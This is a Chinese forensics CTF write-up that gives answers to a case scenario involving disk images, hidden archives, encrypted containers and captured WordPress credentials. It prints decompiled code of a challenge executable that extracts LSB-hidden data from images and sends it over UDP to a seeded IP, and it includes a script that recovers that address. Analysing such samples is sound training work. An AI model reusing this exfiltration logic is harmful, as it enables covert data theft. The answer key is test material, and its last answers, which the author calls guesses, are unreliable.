1.(检材1)请写出最后一次开机时间;(答案格式:1990-01-0101:01:01)
这个检材某眼取证软件是没有办法直接分析开关机的,需要我们自己查看windows日志:
启动(开机):6005(事件日志服务已启动) 关机(正常):
6006(事件日志服务已停止) 意外关机/断电:
6008(上一次系统意外关闭)
重启:1074(用户或系统触发的重启/关机)

2021-03-10 13:58:31
2.(检材)嫌疑人近期上网的搜索记录去重统计后,有几条?
题目问的是“搜索记录”,并不是“历史记录”,所以这题我们要找的是嫌疑人主动使用搜索迎引擎直接搜索的记录并去重

5
3.(检材1)嫌疑人购买凶器时收货地址是?
检材1中有嫌疑人使用的夜神模拟器

挂载新检材之后,tim的聊天记录中有收货地址

上海市浦东新区金科路2889弄长泰广场麦当劳
4.(检材1)嫌疑人最后下载的文件MD5值是?(字母大写)
在嫌疑人的计算机镜像中,qq浏览器有三条下载记录,直接使用取证软件静态分析,只有第一条有记录,搜索另外两个文件之后,发现nox_setup_v7.0.0.9_full.exe的创建时间为2021-03-09 16:32:33,是三个中最晚下载的

0D6867F463F0EBCF3B442FA3F4EEAA5D
5.(检材1)贩卖凶器者的手机号码是?
见第三题
13023161699
6.(检材1)嫌疑人购买凶器时使用的支付宝账号是?
检材1中有个名为“lee-副本.docx”的word文档

13716396699
7.(检材2)嫌疑人上线“Iee0689”的备用电话号码是?
lee曾经发给刘深深一个压缩包,如果直接用windows自带的压缩软件打开,可以看到两个文件:一个是keyfile,一个是mm;如果使用bandizip打开里面则是一个名为“联系方式.doc”的word文档。使用binwalk分离一下:



13888658689
8.(检材2)“组织架构.zip”文件的MD5值是?(字母大写)
lee发给刘深深的压缩包有记录“组织架构.zip”相关的信息,

在010editor里面打开,找到相关位置。在“组织架构.zip”后,就是0x504B0304的zip文件头,一直到文件尾出现0x504b0506的中央目录结束头,所以分离出来内有keyfile和mm文件的就是组织架构.zip(直接使用binwalk可以分离出来zip压缩包,但是binwalk会直接重命名压缩包)

D573730E7FF8757F0678EF018377A642
9.(检材2)“组织架构.zip”压缩包的密码是?

468219
10.(检材2)“mm”文件的解密密码是?
lee说“第二个密码是753951,加文件”,结合zip中有一个keyfile,猜测是使用密钥的容器

使用vc挂载

753951
11.(检材2)“mm”文件的解密密钥文件的MD5值是?(字母大写)
keyfile的md5
93C7D6778012D8B8EBF3E22CDE41E68B
12.(检材2)VIP15用户“周胜考”的联系方式是?
挂载之后容器内部没有文件,需要数据恢复,使用某眼取证软件可以直接查看被删除的文件

13852587969
13.(检材3)嫌疑人登录的博客网站类型是?

wordpress
14.(检材3)嫌疑人成功登录博客网站账号的密码是?
POST包后返回状态为200,说明登陆成功

1@34qwer
15.(检材3)嫌疑人的用户名是?
David
16.(检材3)X系统的管理密码是?
这道题目现在没法验证。POST包后返回状态为200的流量包为wordpress后台管理页面,猜测成功登陆的密码就是后台管理密码
1@34qwer
17.(检材4)嫌疑人将隐藏信息存放在图片中,找出存放隐藏信息的图片名。(示例:文件1.xxx、文件2xxx、文件3.xxx,按文件名从小到大排列)
图片太多,考虑从exe文件中找文件读取的相关内容。
来到主函数return的函数,Code = sub_140001DDB(p_i_2)比较可以,跟进。

//sub_140001DDB
__int64 __fastcall sub_140001DDB(__int64 i)
{
int v2; // edi
int v3; // esi
int v4; // ebx
int v5; // eax
sockaddr to; // [rsp+40h] [rbp-40h] BYREF
char cp[32]; // [rsp+50h] [rbp-30h] BYREF
WSAData lpWSAData_; // [rsp+70h] [rbp-10h] BYREF
int len[2]; // [rsp+208h] [rbp+188h] BYREF
char buf_[256]; // [rsp+210h] [rbp+190h] BYREF
int v11; // [rsp+310h] [rbp+290h]
char Destination[256]; // [rsp+320h] [rbp+2A0h] BYREF
int v13; // [rsp+420h] [rbp+3A0h]
char mmexport1720681497428.png_[38]; // [rsp+430h] [rbp+3B0h] BYREF
char .__IMAGES___[10]; // [rsp+456h] [rbp+3D6h] BYREF
char mmexport1720691471909.png_[26]; // [rsp+460h] [rbp+3E0h] BYREF
char Source[10]; // [rsp+47Ah] [rbp+3FAh] BYREF
int v18; // [rsp+484h] [rbp+404h]
int hostshort; // [rsp+488h] [rbp+408h]
unsigned int Seed; // [rsp+48Ch] [rbp+40Ch]
__int64 n1523669066; // [rsp+490h] [rbp+410h]
SOCKET s; // [rsp+498h] [rbp+418h]
char *buf; // [rsp+4A0h] [rbp+420h]
__int64 v24; // [rsp+4A8h] [rbp+428h]
__int64 v25; // [rsp+4B0h] [rbp+430h]
void *v26; // [rsp+4B8h] [rbp+438h]
size_t Size; // [rsp+4C0h] [rbp+440h]
size_t Size_1; // [rsp+4C8h] [rbp+448h]
char *Str; // [rsp+4D0h] [rbp+450h]
void *p_ihavesomethingforyou_2; // [rsp+4D8h] [rbp+458h]
const char *p_ihavesomethingforyou; // [rsp+4E0h] [rbp+460h]
char *v32; // [rsp+4E8h] [rbp+468h]
void *p_ihavesomethingforyou_1; // [rsp+4F0h] [rbp+470h]
size_t Size_2; // [rsp+4F8h] [rbp+478h]
sub_14039F3C0(i);
strcpy(Source, ".\\IMAGES\\");
strcpy(mmexport1720691471909.png_, "mmexport1720691471909.png");
strcpy(.__IMAGES___, ".\\IMAGES\\");
strcpy(mmexport1720681497428.png_, "mmexport1720681497428.png");
memset(Destination, 0, sizeof(Destination));
v13 = 0;
memset(buf_, 0, sizeof(buf_));
v11 = 0;
strcat(Destination, Source);
strcat(Destination, mmexport1720691471909.png_);
strcat(buf_, .__IMAGES___);
strcat(buf_, mmexport1720681497428.png_);
p_ihavesomethingforyou_1 = sub_1400014E5(Destination);
v32 = (char *)sub_1400014E5(buf_);
p_ihavesomethingforyou = "ihavesomethingforyou";
p_ihavesomethingforyou_2 = sub_140001B07((__int64)"ihavesomethingforyou");
Str = sub_140001C0E((__int64)p_ihavesomethingforyou_1, (__int64)p_ihavesomethingforyou_2);
free(p_ihavesomethingforyou_2);
Size_1 = strlen(Str);
if ( v32 )
Size_2 = strlen(v32);
else
Size_2 = 0;
Size = Size_1 + Size_2 + 2;
v26 = malloc(Size);
if ( !v26 )
{
perror("malloc");
exit(1);
}
memcpy(v26, Str, Size_1);
*((_BYTE *)v26 + Size_1) = 58;
if ( v32 )
memcpy((char *)v26 + Size_1 + 1, v32, Size_2);
*((_BYTE *)v26 + Size - 1) = 0;
free(p_ihavesomethingforyou_1);
free(v32);
free(Str);
sub_14004D980(12, 0);
sub_14004D980(2, 0);
v25 = sub_140001474();
v24 = sub_140042060(v25, 0);
if ( !v24 )
sub_140001450();
if ( (int)sub_140034700(v24) <= 0 )
sub_140001450();
*(_QWORD *)len = 0;
if ( (int)sub_140034720(v24, 0, (unsigned int)len, (_DWORD)v26, Size) <= 0 )
sub_140001450();
buf = (char *)sub_14004E740(*(size_t *)len, "4.c", 293);
if ( (int)sub_140034720(v24, (_DWORD)buf, (unsigned int)len, (_DWORD)v26, Size) <= 0 )
sub_140001450();
sub_1400414D0(v24);
sub_14003BAE0(v25);
if ( WSAStartup(0x202u, &lpWSAData_) )
return 1;
s = socket(2, 2, 17);
if ( s == -1 )
{
WSACleanup();
return 1;
}
else
{
n1523669066 = -2442560844742961078LL;
Seed = _ROR4___w(-568703014, 1523669066);
srand(Seed);
v2 = rand() % 255 + 1;
v3 = rand() % 255 + 1;
v4 = rand() % 255 + 1;
v5 = rand();
sub_1403A3000((__int64)cp, 20, "%d.%d.%d.%d", v5 % 255 + 1, v4, v3, v2);
hostshort = rand() % 64512 + 1024;
memset(&to, 0, sizeof(to));
to.sa_family = 2;
*(_WORD *)to.sa_data = htons(hostshort);
*(_DWORD *)&to.sa_data[2] = inet_addr(cp);
v18 = sendto(s, buf, len[0], 0, &to, 16);
closesocket(s);
WSACleanup();
sub_14004E7F0(buf, "4.c", 348);
free(v26);
return 0;
}
}
这段代码的大概作用是:
1.读取两张图片文件:从.\IMAGES\目录下读取mmexport1720691471909.png和mmexport1720681497428.png这两张图片
2.组合成字符串:把两张图片的内容组合成一个字符串,用":"分
3.随机生成IP地址和端口:通过设置随机数seed生成ip地址和端口
4.通过网络发送数据:用sendto函数把组合好的字符串发送到随机生成的IP和端口
mmexport1720681497428.png、mmexport1720691471909.png
18.(检材4)找到存放在图片中的原始信息。(示例:数据1、数据2、数据3)
详细分析一下sub_140001DDB对图片的处理:
1.此处是读取图片并对图片的数据并赋值

2.赋值之后调用了一个函数对数值进行了一些处理
.
跳转sub_1400014E5函数
void *__fastcall sub_1400014E5(const char *p_Destination)
{
_JBTYPE *Buf; // rax
size_t Size; // rax
void **v4; // rbx
int v5; // eax
__int64 v6; // [rsp+20h] [rbp-90h] BYREF
__int64 v7; // [rsp+28h] [rbp-88h] BYREF
_BYTE Buffer[8]; // [rsp+37h] [rbp-79h] BYREF
unsigned __int8 v9; // [rsp+3Fh] [rbp-71h]
__int64 v10; // [rsp+40h] [rbp-70h]
__int64 v11; // [rsp+48h] [rbp-68h]
void *v12; // [rsp+50h] [rbp-60h]
unsigned __int64 v13; // [rsp+58h] [rbp-58h]
void *Block; // [rsp+60h] [rbp-50h]
unsigned __int16 n16; // [rsp+6Eh] [rbp-42h]
int v16; // [rsp+70h] [rbp-40h]
int v17; // [rsp+74h] [rbp-3Ch]
int m; // [rsp+78h] [rbp-38h]
int n2; // [rsp+7Ch] [rbp-34h]
int k; // [rsp+80h] [rbp-30h]
int j; // [rsp+84h] [rbp-2Ch]
char v22; // [rsp+8Bh] [rbp-25h]
int v23; // [rsp+8Ch] [rbp-24h]
int n8; // [rsp+90h] [rbp-20h]
int i; // [rsp+94h] [rbp-1Ch]
FILE *Stream; // [rsp+98h] [rbp-18h]
Stream = fopen(p_Destination, "rb");
if ( Stream )
{
fread(Buffer, 1u, 8u, Stream);
if ( (unsigned int)sub_140003320(Buffer, 0, 8)
|| (v7 = sub_14000C2F0("1.6.50", 0, 0, 0),
v6 = sub_140003720(v7),
Buf = (_JBTYPE *)sub_1400078C0(v7, longjmp, 256),
setjmp(Buf)) )
{
fclose(Stream);
return 0;
}
else
{
sub_140003930(v7, Stream);
sub_1400032E0(v7, 8);
sub_14000C3D0(v7, v6);
v17 = sub_140007D70(v7, v6);
v16 = sub_140007D90(v7, v6);
HIBYTE(n16) = sub_140007DD0(v7, v6);
LOBYTE(n16) = sub_140007DB0(v7, v6);
if ( (_BYTE)n16 == 16 )
sub_14000FF40(v7);
if ( HIBYTE(n16) == 3 )
sub_140010FB0(v7);
if ( n16 <= 7u )
sub_140010FE0(v7);
if ( (unsigned int)sub_140007D00(v7, v6, 16) )
sub_140011010(v7);
if ( HIBYTE(n16) == 2 || !HIBYTE(n16) || HIBYTE(n16) == 3 )
sub_14001FAC0(v7, 255, 1);
if ( !HIBYTE(n16) || HIBYTE(n16) == 4 )
sub_140011070(v7);
sub_14000C580(v7, v6);
Block = malloc(8LL * v16);
for ( i = 0; i < v16; ++i )
{
Size = sub_140007D30(v7, v6);
v4 = (void **)((char *)Block + 8 * i);
*v4 = malloc(Size);
}
sub_14000E590(v7, Block);
fclose(Stream);
v13 = 3 * v16 * v17;
v12 = malloc((v13 >> 3) + 1);
memset(v12, 0, (v13 >> 3) + 1);
n8 = 0;
v23 = 0;
v22 = 0;
for ( j = 0; j < v16; ++j )
{
v11 = *((_QWORD *)Block + j);
for ( k = 0; k < v17; ++k )
{
v10 = 4 * k + v11;
for ( n2 = 0; n2 <= 2; ++n2 )
{
v9 = *(_BYTE *)(n2 + v10) & 1;
v22 |= v9 << (7 - n8++);
if ( n8 == 8 )
{
if ( !v22 )
goto LABEL_36;
v5 = v23++;
*((_BYTE *)v12 + v5) = v22;
v22 = 0;
n8 = 0;
}
}
}
}
LABEL_36:
*((_BYTE *)v12 + v23) = 0;
for ( m = 0; m < v16; ++m )
free(*((void **)Block + m));
free(Block);
sub_14000E6C0(&v7, &v6, 0);
return v12;
}
}
else
{
perror("File open failed");
return 0;
}
}
该函数开始部分大概是读取文件内容、校验文件头,略过,以下是关键部分
for ( j = 0; j < v16; ++j )
{
v11 = *((_QWORD *)Block + j);
for ( k = 0; k < v17; ++k )
{
v10 = 4 * k + v11;
for ( n2 = 0; n2 <= 2; ++n2 )
{
v9 = *(_BYTE *)(n2 + v10) & 1;
v22 |= v9 << (7 - n8++);
if ( n8 == 8 )
{
if ( !v22 )
goto LABEL_36;
v5 = v23++;
*((_BYTE *)v12 + v5) = v22;
v22 = 0;
n8 = 0;
}
}
}
}
首先,定义一个数据类型为qword的数组block,在每一个循环的开始取其指针加1赋值给v11
for ( j = 0; j < v16; ++j )
{
v11 = *((_QWORD *)Block + j);
v11每一次循环加4个字节,所以v11是一个“基地址”,v10是“偏移地址”,每次偏移为4字节
for ( k = 0; k < v17; ++k )
{
v10 = 4 * k + v11;
n2的值为0,1,2,访问v10的前三位,跳过最后一位,并& 1,即取每个字节的最低有效位(LSB)
for ( n2 = 0; n2 <= 2; ++n2 )
{
v9 = *(_BYTE *)(n2 + v10) & 1;
所以这段代码的意思是对两张图片采用的lsb隐写,具体参考https://blog.youkuaiyun.com/qq_38154820/article/details/122694645
在Stegsolve.jar打开,RGB选择最低位


31.2313,121.4700、1720465200
19.(检材4)分析检材中的“1.exe”,找到隐藏信息发送的1P及端口,并以此作为flag提交。(示例:127.0.0.1:1234)
ip地址是使用rand函数随机生成的,但是设置了种子
n1523669066 = -2442560844742961078LL;
Seed = _ROR4___w(-568703014, 1523669066);
srand(Seed);
v2 = rand() % 255 + 1;
v3 = rand() % 255 + 1;
v4 = rand() % 255 + 1;
v5 = rand();
sub_1403A3000((__int64)cp, 20, "%d.%d.%d.%d", v5 % 255 + 1, v4, v3, v2);
hostshort = rand() % 64512 + 1024;
memset(&to, 0, sizeof(to));
to.sa_family = 2;
*(_WORD *)to.sa_data = htons(hostshort);
*(_DWORD *)&to.sa_data[2] = inet_addr(cp);
v18 = sendto(s, buf, len[0], 0, &to, 16);
closesocket(s);
WSACleanup();
sub_14004E7F0(buf, "4.c", 348);
free(v26);
return 0;
种子随机生成的逻辑是:
1.将n1523669066和a1进行异或操作
2.将结果循环右移13位(ror4在x86汇编中是循环右移)
3.将结果转换为无符号整数并返回
__int64 __fastcall _ROR4___w(int a1, __int64 n1523669066)
{
return (unsigned int)__ROR4__(n1523669066 ^ a1, 13);
}
编写python脚本
import ctypes
def ror4(val, r):
val &= 0xFFFFFFFF
return ((val >> r) | (val << (32 - r))) & 0xFFFFFFFF
class MSVCRand:
def __init__(self, seed):
self.seed = seed
def rand(self):
self.seed = (self.seed * 214013 + 2531011) & 0xFFFFFFFF
return (self.seed >> 16) & 0x7FFF
n1523669066 = -2442560844742961078
a1 = 3726264282
n_low = n1523669066 & 0xFFFFFFFF
a1_low = a1 & 0xFFFFFFFF
xor_val = n_low ^ a1_low
seed = ror4(xor_val, 13)
print(f"Calculated Seed: {seed}")
libc_rand = MSVCRand(seed)
v2 = libc_rand.rand() % 255 + 1
v3 = libc_rand.rand() % 255 + 1
v4 = libc_rand.rand() % 255 + 1
v5 = libc_rand.rand()
ip = f"{v5 % 255 + 1}.{v4}.{v3}.{v2}"
hostshort = libc_rand.rand() % 64512 + 1024
print(f"IP地址: {ip}")
print(f"端口: {hostshort}")
IP地址: 94.114.6.233
端口: 12481
20.(检材4)检材中的“1.exe”发送的隐藏信息经过加密,请解密内容,并以该内容作为flag提交。
在图片处理结束后,该函数定义了一个字符串,并对字符串进行了一些处理

跳转sub_140001B07,主要加密的函数是sub_140001AB2,对字符串进行了djb2 哈希算法
__int64 __fastcall sub_140001AB2(_BYTE *p_ihavesomethingforyou)
{
_BYTE *v1; // rax
unsigned int n5381; // [rsp+Ch] [rbp-4h]
for ( n5381 = 5381; ; n5381 = 33 * n5381 + (char)*v1 )
{
v1 = p_ihavesomethingforyou++;
if ( !*v1 )
break;
}
return n5381;
}
for循环逐位读取p_ihavesomethingforyou的值,初始化哈希值为 5381,在每一轮进行一次n5381 = 33 * n5381 + char的运算
for ( n5381 = 5381; ; n5381 = 33 * n5381 + (char)*v1 )
{
v1 = p_ihavesomethingforyou++;
if ( !*v1 )
break;
}
sub_140001C0E进行了数据处理操作

跳转sub_140001C0E
char *__fastcall sub_140001C0E(_BYTE *p_ihavesomethingforyou, _BYTE *p_ihavesomethingforyou_1)
{
char Source[11]; // [rsp+25h] [rbp-7Bh] BYREF
_DWORD v4[11]; // [rsp+30h] [rbp-70h]
char v5[11]; // [rsp+5Eh] [rbp-42h] BYREF
char v6[11]; // [rsp+69h] [rbp-37h] BYREF
int v7; // [rsp+74h] [rbp-2Ch]
int v8; // [rsp+78h] [rbp-28h]
int v9; // [rsp+7Ch] [rbp-24h]
char *Destination; // [rsp+80h] [rbp-20h]
void *Source_2; // [rsp+88h] [rbp-18h]
void *Source_1; // [rsp+90h] [rbp-10h]
int n9; // [rsp+9Ch] [rbp-4h]
Source_1 = sub_140001B07(p_ihavesomethingforyou);
Source_2 = sub_140001B07(p_ihavesomethingforyou_1);
memset(v6, 0, sizeof(v6));
memset(v5, 0, sizeof(v5));
sub_140001B8A(v6, (const char *)Source_1, 10);
sub_140001B8A(v5, (const char *)Source_2, 10);
free(Source_1);
free(Source_2);
v4[0] = 1;
v4[1] = 9;
v4[2] = 3;
v4[3] = 7;
v4[4] = 0;
v4[5] = 4;
v4[6] = 9;
v4[7] = 7;
v4[8] = 7;
v4[9] = 6;
memset(Source, 0, sizeof(Source));
for ( n9 = 0; n9 <= 9; ++n9 )
{
v9 = v6[n9] - 48;
v8 = v5[n9] - 48;
v7 = (v4[n9] + v8 + v9) % 10;
Source[n9] = v7 + 48;
}
Source[10] = 0;
Destination = (char *)malloc(0xBu);
if ( Destination )
strcpy(Destination, Source);
return Destination;
}
将两个字符串填充为10字节,不足10字节的在前面补0
sub_140001B8A(v6, (const char *)Source_1, 10);
sub_140001B8A(v5, (const char *)Source_2, 10);
初始化密钥数组
v4[0] = 1;
v4[1] = 9;
v4[2] = 3;
v4[3] = 7;
v4[4] = 0;
v4[5] = 4;
v4[6] = 9;
v4[7] = 7;
v4[8] = 7;
v4[9] = 6;
将字符减去48住那换为对应的数字(0的ascii码为48),然后进行(密钥[i] + 数字1[i] + 数字2[i]) % 10的运算
for ( n9 = 0; n9 <= 9; ++n9 )
{
v9 = v6[n9] - 48; // 将字符转换为数字
v8 = v5[n9] - 48; // 将字符转换为数字
v7 = (v4[n9] + v8 + v9) % 10; // 加密运算
Source[n9] = v7 + 48; // 转换回字符
}
在动态调试的过程中,发现变量赋值为1760285221:31.2313,121.4700,这里的58就是给两边用分号连接起来,结合到后面有调用openssl的内容,那么这串应该就是明文,即上面的代码是对原来的时间戳进行处理转换为新的时间戳

1760285221:31.2313,121.4700
21.(检材4)分析检材中的“2.exe”,获取机密文件内容中的时间戳,并以此作为f1lag提交。
这题没做出来,实际20、21两道题目都没有真正分析出结果,20题的过程和分析思路也只是个人的一些猜测,先记录下来抛砖引玉,还望各位大佬斧正
1492

被折叠的 条评论
为什么被折叠?



